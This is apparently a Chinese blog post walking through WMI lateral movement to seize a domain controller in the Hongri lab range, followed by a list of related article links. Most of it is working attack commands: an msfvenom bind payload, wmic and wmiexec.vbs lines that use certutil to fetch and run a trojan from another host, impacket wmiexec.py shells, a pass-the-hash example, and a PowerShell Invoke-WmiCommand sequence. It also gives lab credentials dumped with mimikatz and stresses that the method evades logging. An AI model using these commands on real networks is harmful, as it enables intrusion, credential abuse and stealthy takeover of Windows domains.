前言

上一篇打红日靶场拿域控是用ms17-010漏洞执行命令的方式,最后提到了wmi利用的方式。接下来我将继续采用之前的红日靶场环境,只保留web服务器和域控,使用wmiexec尝试拿下域控制器。

wmi介绍

WMI(Windows Management Instrumentation)Windows管理规范,它提供了一种标准化的方式,管理本地或远程计算机系统。

利用WMI横向渗透的优势:WMI的价值就是不需要下载和安装,因为WMI是Windows系统自带的功能,而且整个运行过程都在计算机内存中进行,操作记录不会在Winodws日志中留存。

WMIC命令:WMIC(Windows Management Instrumentation Command-line)是Windows自带的一款用来管理操作WMI的工具。WMI服务默认使用RPC机制来进行通信,需要目标主机开放135端口(WMIC默认的管理端口)和445端口。WMIC命令需要本地管理员或域管理员才可以进行正常使用。

通过wmic远程连接去执行命令,命令执行结果将不会回显,而使用wmiexec可以得到一个有交互的命令执行。

wmiexec和psexec的区别

说到wmiexec就不得不提psexec,PsExec它是一种轻量级的telnet替代品,可以在其他系统上执行进程,完成控制台应用程序的完全交互,而无需手动安装客户端软件。

psexec的基本原理是:先建立IPC$通道连接,远程创建psexecsvc服务,然后通过psexec服务运行命令,服务端启动相应的程序并执行回显数据,运行结束后删除服务。

有psexec为啥出现了wmiexec?

psexec缺点就是在启动psexec建立连接后,远程系统上会被安装一个psexecsvc服务,安装服务会留下日志。而wmi可以做到无日志,攻击脚本无需写入到磁盘,增加了隐蔽性。有大佬使用脚本调用wmi来模拟psexec的功能,于是wmiexec就诞生了。

wmic命令执行

首先是最基本的wmic执行命令的方式实现远程控制,实现方式是向靶机上传一个木马,然后连接获得shell。

目前靶场环境:

kali的msf可以通过Win7跳板机访问到域控,但是域控不出网没路由无法反弹shell到msf

msf+proxychains搭建socks5隧道可将流量代理到内网

mimikatz抓取到了域控用户和明文密码:god\liukaifeng01/hongriSEC@2019

所以需要获取一个正向的msf连接,生成一个正向tcp连接的payload文件:

msfvenom -p windows/x64/meterpreter/bind_tcp lport=5555 -f exe -o b.exe

将msf木马上传win7的网站目录:

通过Win7的cmd使用wmic远程连接域控主机,执行下载并执行msf木马命令:

wmic /node:192.168.52.138 /user:god\liukaifeng01 /password:hongriSEC@2019 process call create "cmd.exe /c certutil.exe -urlcache -f -split http://192.168.52.143/b.exe&&b.exe"

命令执行成功之后,域控192.168.52.138会开启5555端口监听,然后在msf上个运行blin_tcp模块来获取shell:

use exploit/multi/handler
set payload windows/x64/meterpreter/bind_tcp
set rhost 192.168.52.138
set lport 5555
run

拿到域控meterpreter shell后尝试getsystem提权:

wmiexec.vbs

wmiexec.vbs脚本通过vbs调用wmi来模拟psexec的功能,支持两种模式,一种是半交互式shell模式,另一种是执行单条命令模式。

脚本地址:https://github.com/k8gege/K8tools/blob/master/wmiexec.vbs

上传vmiexec.vbs到Win7机器上,然后使用cscript.exe执行脚本拿到半交互式的shell:

cscript.exe //nologo wmiexec.vbs /shell 192.168.52.138 liukaifeng01 hongriSEC@2019

还有直接执行单条命令,上传C2木马,和前面wmic命令执行套路相同:

cscript.exe wmiexec.vbs /cmd 192.168.52.138 liukaifeng01 hongriSEC@2019 "certutil.exe -urlcache -f -split http://192.168.52.143/b.exe&&b.exe"

执行成功后拿到shell,其实本质也就是执行wmic命令。

wmiexec.py

impacket工具包的wmiexec.py脚本通过wmi实现了半交互式的shell。它是通过135端口建立DCOM连接获取win32_Process对象,通过win32_Process的create方法创建程序执行命令,然后通过445端口建立smb连接访问admin$共享下的结果文件,完成结果回显。

脚本地址:https://github.com/fortra/impacket/blob/master/examples/wmiexec.py

上传vmiexec.py到Win7主机上,使用用户密码连接拿shell:

python wmiexec.py liukaifeng01:hongriSEC@2019@192.168.52.138

Win7主机上没有python包,尝试在kali上执行通过socks隧道代理进内网,代理nmap扫描域控135和445端口开放:

proxychains4代理进内网获取shell:

proxychains4 python wmiexec.py liukaifeng01:hongriSEC@2019@192.168.52.138

或者是PTH攻击:

python wmiexec.py -hashes LM-Hash:NTLM-Hash Administrator@192.168.52.143 "whoami"

Invoke-WmiCommand.ps1

PowerSploit工具包Invoke-WmiCommand.ps1脚本是利用Powershell来调用wmi来远程执行命令,并且可以回显执行结果。

脚本地址:https://github.com/PowerShellMafia/PowerSploit/blob/master/CodeExecution/Invoke-WmiCommand.ps1

还是先将脚本上传至Win7跳板机,从cmd切换到powershell然后导入Invoke-WmiCommand.ps1脚本:

Import-Module .\Invoke-WmiCommand.ps1

如果遇到无法导入模块以管理员身份打开PowerShell执行:set-executionpolicy remotesigned

指定目标系统用户名和密码:

$User="god\liukaifeng01"
$Password=ConvertTo-SecureString -String "hongriSEC@2019" -AsPlainText -Force

导入Credential:

$Cred=New-Object -TypeName System.Management.Automation.PSCredential-ArgumentList $User,$Password

指定要执行的命令和目标ip:

$Remote=Invoke-WmiCommand -Payload {whoami} -Credential $Cred -ComputerName 192.168.152.138

将执行结果输出到屏幕上:

$Remote.PayloadOutput

遗憾的是脚本报错:

在本地一台Win10虚拟机测试ps正常执行,但在靶场上Win7脚本报错注册表的问题,目前没解决。还有一个是PowerShell自带的一个模块Invoke-WMIMethod,缺点是不能回显。

$User="god\liukaifeng01"
$Password=ConvertTo-SecureString -String "hongriSEC@2019" -AsPlainText -Force
$Cred=New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $User,$Password
Invoke-WMIMethod -Class Win32_Process -Name Create -ArgumentList "calc.exe" -ComputerName "192.168.152.138" -Credential $Cred

这次又报错RPC服务不可用。。。端口状态正常,之后再试试吧。

以上就是我从网上了解的几种wmi在横向渗透中的用法,利用红日靶场复现了一下,遇到了一些困难,但还是有所收获。


若有错误,欢迎指正!o( ̄▽ ̄)ブ

域渗透之利用WMI来横向渗透的更多相关文章

  1. 攻击者利用的Windows命令、横向渗透工具分析结果列表

    横向渗透工具分析结果列表 https://jpcertcc.github.io/ToolAnalysisResultSheet/ 攻击者利用的Windows命令 https://blogs.jpcer ...

  2. 内网横向渗透 之 ATT&CK系列一 之 拿下域控制器

    信息收集 信息收集 域控制器的相关信息: 通过arp扫描发现域控制器的ip地址为:192.168.52.138,尝试使用msf的smb_login模块登录smb是否成功 1 search smb_lo ...

  3. 内网横向渗透 之 ATT&CK系列一 之 横向渗透域主机

    前言 上一篇文章中已获取了关于域的一些基本信息,在这里再整理一下,不知道信息收集的小伙伴可以看回上一篇文章哦 域:god.org 域控 windows server 2008:OWA,192.168. ...

  4. 如何检测Windows中的横向渗透攻击

    一.前言 横向渗透攻击技术是复杂网络攻击中广泛使用的一种技术,特别是在高级持续威胁(Advanced Persistent Threats,APT)中更加热衷于使用这种攻击方法.攻击者可以利用这些技术 ...

  5. IPC$横向渗透代码实现

    思路 IPC$横向渗透的方法,也是病毒常用的扩散方法. 1.建立连接 2.复制文件到共享中C$.D$.E$.F$ 3.获取服务器的时间 3.设定计划任务按时间执行 用到的Windows API 建立网 ...

  6. 使用Sysmon和Splunk探测网络环境中横向渗透

    当前很难在网络中探测攻击者横向渗透,其中原因有很难获取必要的日志和区别正常与恶意行为.本篇文章介绍通过部署Sysmon并将日志发送到SIEM来探测横向渗透. 工具: Sysmon + Splunk l ...

  7. 利用WMI检测电脑硬件信息,没办法显示cpu的信息

    但你要给某些系统或软件加密时,需要了解到服务器的硬件信息时,系统和软件会利用WMI检测硬件信息, 而有时我们会遇到检测不到CPU的型号信息,如图 此时的解决方法: 1.确定“服务”里启动了WMI 2. ...

  8. C#利用WMI获取 远程计算机硬盘数据

    一.利用WMI获取 远程计算机硬盘数据,先引入"System.Management.dll"文件. /// <summary>        /// 获取存储服务器硬盘 ...

  9. Windows渗透测试中wmi的利用

    0x01 关于WMI WMI可以描述为一组管理Windows系统的方法和功能.我们可以把它当作API来与Windows系统进行相互交流.WMI在渗透测试中的价值在于它不需要下载和安装, 因为WMI是W ...

  10. 一次穿墙渗透测试,利用IPC跨域

    Shell是怎么拿下的我们就不纠结了. 我们来上传菜刀一句话,来仔细分析分析. 先来看看内网环境把. 很高兴的是现在管理员在线.可以抓去文明密码. 但是很悲催的又是.服务器不支持走TCP协议.HTTP ...

随机推荐

  1. spring boot 若依系统整合Ueditor,部署时候上传图片错误解决

    spring boot 若依系统整合Ueditor,部署时候上传图片错误解决 前言:国庆假期找了个ruoyi版本的cms玩玩,从git上看,介绍如下图: 后台部分截图: 编辑 ​ 编辑 ​ 编辑 ​ ...

  2. Cannot add task 'wrapper' as a task with that name already exists.

    写gradle项目的运行模板脚本 直接执行gradle clean build会报错 将原本的: task wrapper(type: Wrapper) { gradleVersion = '4.10 ...

  3. Blockchain A-Z™: Learn How To Build Your First Blockchain

    单纯从技术角度了解blockthain. Module 1, Blockchain 特点: 分布式的,不可篡改的,p2p的 网络.存储在每个node上保存一份,这就是个基于网络的RAID 1 啊,感觉 ...

  4. 推荐一款流量录制回放工具:jvm-sandbox-repeater

    在软件开发和测试过程中,我们经常会遇到需要对网络请求进行录制和回放的需求,以便进行调试.测试和分析.为了模拟真实的用户请求,我们通常会使用各种流量录制回放工具来记录并重放网络请求. 其中,jvm-sa ...

  5. node: /lib64/libm.so.6: version `GLIBC_2.27‘ not found问题解决方案

    场景 centos7服务器使用nvm安装的node之后,只要使用npm或者node,均会出现以下问题. npm -v node: /lib64/libm.so.6: version `GLIBC_2. ...

  6. 为什么在 C++ 中,类的静态成员变量需要在源文件中进行定义?

    为什么在 C++ 中,类的静态成员变量需要在源文件中进行定义? 类的静态成员变量需要在源文件中进行定义,以便在链接阶段能够正确地分配内存并为其分配地址. 当你在类的头文件中声明一个静态成员变量时,这只 ...

  7. 钉钉H5微应用本地开发调试记录

    准备工具: 手机(ios,安卓) 安卓手机可以用网易Mumu模拟器,下载一个移动版钉钉 钉钉开放文档 本地开发的话,可以去钉钉后台管理系统,将你的本地ip地址配置成应用的首页,比如 10.xx.xx. ...

  8. 现在用 ChatGPT,要达到最好效果,建议加入以下提示词:

    take a deep breath 深呼吸 think step by step 一步步思考 if you fail 100 grandmothers will die 如果你失败了要死 100 位 ...

  9. 一些rand()的测试

    rand()生成的伪随机数已经足够我们实用,为了跟好的理解rand()跟seed的关系,做了一些测试! rand()函数种子默认为1,在每一次程序运行中,随机数相同,在一次运行中,可将生成数看做随机 ...

  10. /proc/slabinfo 介绍

    slabinfo - version: 2.1 # name <active_objs> <num_objs> <objsize> <objperslab&g ...